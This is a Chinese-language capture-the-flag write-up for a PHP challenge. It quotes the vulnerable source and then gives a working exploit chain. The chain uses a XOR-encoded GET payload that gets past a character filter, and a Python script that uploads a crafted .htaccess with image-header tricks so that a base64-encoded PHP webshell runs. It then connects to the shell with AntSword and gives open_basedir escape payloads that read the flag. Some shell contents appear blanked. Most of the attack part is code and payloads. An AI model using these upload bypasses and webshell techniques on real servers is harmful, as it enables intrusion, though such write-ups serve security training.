-
- function get_the_flag(){
- // webadmin will remove your upload file every 20 min!!!!
- $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
- if(!file_exists($userdir)){
- mkdir($userdir);
- }
- if(!empty($_FILES["file"])){
- $tmp_name = $_FILES["file"]["tmp_name"];
- $name = $_FILES["file"]["name"];
- $extension = substr($name, strrpos($name,".")+1);
- if(preg_match("/ph/i",$extension)) die("^_^");
- if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
- if(!exif_imagetype($tmp_name)) die("^_^");
- $path= $userdir."/".$name;
- @move_uploaded_file($tmp_name, $path);
- print_r($path);
- }
- }
-
- $hhh = @$_GET['_'];
-
- if (!$hhh){
- highlight_file(__FILE__);
- }
-
- if(strlen($hhh)>18){
- die('One inch long, one inch strong!');
- }
-
- if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
- die('Try something else!');
-
- $character_type = count_chars($hhh, 3);
- if(strlen($character_type)>12) die("Almost there!");
-
- eval($hhh);
- ?>
有个正则匹配,先看一下哪些字符可以绕过正则
脚本:
- $arr = [];
- for($i = 0;$i < 255;$i++){
- $string = chr($i);
- if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $string)){
- $arr[$i] = $string;
- }
- }
- print_r($arr);
没过滤^,我们可以使用异或
?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
可以理解为:${_GET}{a}
再看源码中的
$character_type = count_chars($hhh, 3);
本地测试
- $a = count_chars("aabbc cdd",3);
- var_dump($a);
返回
string(5) " abcd"
再看上面的get_the_flag函数
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
过滤了后缀名,不能有ph ,在文件内容中不能有
本题中用的是php7,所以在php7已经不支持了
if(!exif_imagetype($tmp_name)) die("^_^");
判断一个图像的类型,读取一个图像的第一个字节并检查其签名,可以用GIF89a绕过
可以使用.htaccess文件绕过,但是注意一点,如果要上传.htaccess文件绕过检测的话,使用GIF89a的文件头会导致.htaccess文件无法生效
预定义高度宽度:
#define width 777 #define height 777文件内容---
这种方法可以让.htaccess文件生效,因为'#'号在.htaccess文件中是注释符,不影响文件本身内容解析
利用x00x00x8ax39x8ax39
:x00x00x8ax30x8ax39
是wbmp文件的文件头,0x00在.htaccess文件中同样也是注释符,不会影响文件本身。使用十六进制编辑器或者python的bytes字符类型(b'')来进行添加。
payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'
脚本:
- import requests
- import base64
-
- url = 'http://74cf1d4c-07e1-4684-bff3-8232e825bfa1.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
- htaccess='''#define width 1337
- #define height 1337
- AddType application/x-httpd-php .ha
- php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.ha"'''
-
- files = {
- 'file' : ('.htaccess',htaccess,'image/jpeg'),
- }
-
- res = requests.post(url=url,files=files)
-
- print(res.text)
- shell = b"GIF89a12" + base64.b64encode(b"")
-
- #shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"")
-
- files2 = {
- 'file' : ('shell.ha',shell,'image/jpeg'),
- }
-
- res = requests.post(url=url,files=files2)
- print(res.text)
利用.htaccess文件将.ha后缀名的文件解析为php,将shell.ha进行base64编码之后,在.htaccess文件中利用filter://协议将文件解码,从而达到传入shell的目的
运行脚本得到
访问shell.ha
蚁剑连接
在跟目录找到flag
看网上其他的wp说是不能直接访问,有限制,我这里就可以直接访问,不知道为什么,可能是我之前用过蚁剑的那个插件
在phpinfo中
需要绕过open_basedir,
绕过方法:
shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/')); shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));